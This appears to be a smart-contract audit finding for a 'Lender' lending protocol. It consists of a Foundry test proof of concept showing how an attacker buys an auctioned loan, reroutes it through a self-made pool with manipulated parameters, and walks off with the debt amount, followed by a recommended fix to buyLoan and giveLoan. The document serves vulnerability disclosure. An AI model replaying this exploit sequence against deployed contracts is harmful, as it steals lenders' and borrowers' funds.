It's possible to steal a loan's debt amount, if the loan was put on an auction.
address public attacker = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_StealDebtAmountWithBuyLoan() public {
test_borrow();
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
bytes32 poolId = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.warp(block.timestamp + 23 hours);
uint256 attackerLoanTokenBalanceBefore = loanToken.balanceOf(attacker);
uint256 attackerCollateralTokenBalanceBefore = collateralToken.balanceOf(attacker);
vm.startPrank(attacker);
lender.buyLoan(0, poolId);
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: 1000*10**18,
maxLoanRatio: 999999999999999*100**18,
auctionLength: 1 days,
interestRate: 0,
outstandingLoans: 0
});
bytes32 attackPoolId = lender.setPool(attackerPool);
Borrow memory b = Borrow({
poolId: attackPoolId,
debt: 1000*10**18,
collateral: 1
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
Pool memory attackerPoolUpdate = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 1000*10**18
});
lender.setPool(attackerPoolUpdate);
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = attackPoolId;
lender.giveLoan(loanIds, poolIds);
vm.startPrank(borrower);
loanToken.mint(borrower, 1000000*10**18);
lender.repay(loanIds);
vm.startPrank(attacker);
lender.removeFromPool(attackPoolId, 1100*10**18);
uint256 attackerLoanTokenBalanceAfter = loanToken.balanceOf(attacker);
uint256 attackerCollateralTokenBalanceAfter = collateralToken.balanceOf(attacker);
assertEq(attackerLoanTokenBalanceAfter, 100095000000000000000000);
assertEq(attackerCollateralTokenBalanceAfter, 99999999999999999999999);
assertGt(attackerLoanTokenBalanceAfter, attackerLoanTokenBalanceBefore);
}
Validate in the buyLoan function if the provided poolId is not the same as the loan's original poolId + don't allow to giveLoan to the current pool.